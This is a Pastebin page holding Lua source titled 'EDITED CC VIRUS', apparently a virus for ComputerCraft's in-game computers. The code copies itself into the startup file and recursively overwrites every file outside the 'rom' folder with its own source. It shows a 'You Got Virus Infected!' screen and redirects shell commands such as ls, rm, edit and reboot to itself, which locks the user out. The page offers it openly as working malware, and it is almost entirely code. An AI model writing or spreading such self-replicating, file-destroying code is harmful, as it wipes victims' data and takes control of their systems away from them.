Advertisement
asteroidsteam

EDITED CC VIRUS

Aug 6th, 2016
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.32 KB | None | 0 0
  1. local w, h = term.getSize()
  2.  
  3. function disPlace()
  4.     shell.clearAlias("ls")
  5.     shell.clearAlias("dir")
  6.     shell.clearAlias("cp")
  7.     shell.clearAlias("mv")
  8.     shell.clearAlias("rm")
  9.     shell.setAlias("ls", "startup")
  10.     shell.setAlias("dir", "startup")
  11.     shell.setAlias("cp", "startup")
  12.     shell.setAlias("mv", "startup")
  13.     shell.setAlias("rm", "startup")
  14.     shell.setAlias("list", "startup")
  15.     shell.setAlias("edit", "startup")
  16.     shell.setAlias("reboot", "startup")
  17.     shell.setAlias("shutdown", "startup")
  18.     shell.setAlias("lua", "startup")
  19.     shell.setAlias("delete", "startup")
  20.     shell.setAlias("help", "startup")
  21.     shell.setPath(":::VIRUS:::")
  22.     shell.setDir(":::VIRUS:::")
  23. end
  24.  
  25. function printCentered(y, s)
  26.     term.setCursorPos(w / 2 - string.len(s) / 2, y)
  27.     write(s)
  28. end
  29.  
  30. function payload()
  31.     local payLoadCharacters = {0, 1, "|", "-", "+"}
  32.     for i=1,50000 do
  33.         os.queueEvent("randomEvent")
  34.         os.pullEvent()
  35.         term.setCursorPos(math.random(1, w), math.random(1, h))
  36.         local index = math.random(1, table.getn(payLoadCharacters))
  37.         write(payLoadCharacters[index])
  38. term.setTextColor(colors.yellow)
  39.         printCentered(h / 2, "You Got Virus Infected!")
  40. term.setTextColor(colors.white)
  41.     end
  42.     sleep(5)
  43.     term.clear()
  44.     term.setCursorPos(1, 1)
  45.     print("Infected "..os.version())
  46. end
  47.  
  48. function infectDir(Directory, Injection)
  49.     local sDir = shell.dir()
  50.     sDir = shell.resolve( Directory )
  51.     local tAll = fs.list( sDir )
  52.     local tFiles = {}
  53.     local tDirs = {}
  54.     for n, sItem in pairs( tAll ) do
  55.         if string.sub( sItem, 1, 1 ) ~= "." then
  56.             local sPath = fs.combine( sDir, sItem )
  57.             if fs.isDir( sPath ) then
  58.                 table.insert( tDirs, sItem )
  59.             else
  60.                 table.insert( tFiles, sItem )
  61.             end
  62.         end
  63.     end
  64.     table.sort( tDirs )
  65.     table.sort( tFiles )
  66.    
  67.     for i=1,table.getn(tFiles) do
  68.         local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  69.         filewritex.write(Injection)
  70.         filewritex.close()
  71.     end
  72.     for i=1,table.getn(tDirs) do
  73.         if tDirs[i] ~= "rom" then
  74.             infectDir(Directory.."/"..tDirs[i], Injection)
  75.         end
  76.     end
  77.    
  78. end
  79.  
  80. local virusread = fs.open(shell.getRunningProgram(), "r")
  81. local viruscode = virusread.readAll()
  82. virusread.close()
  83.  
  84. local filewritev = fs.open("startup", "w")
  85. filewritev.write(viruscode)
  86. filewritev.close()
  87.  
  88. infectDir("", viruscode)
  89.  
  90. if fs.exists("EOF") == false then
  91.     payload()
  92.     fs.makeDir("EOF")
  93. end
  94.  
  95. disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement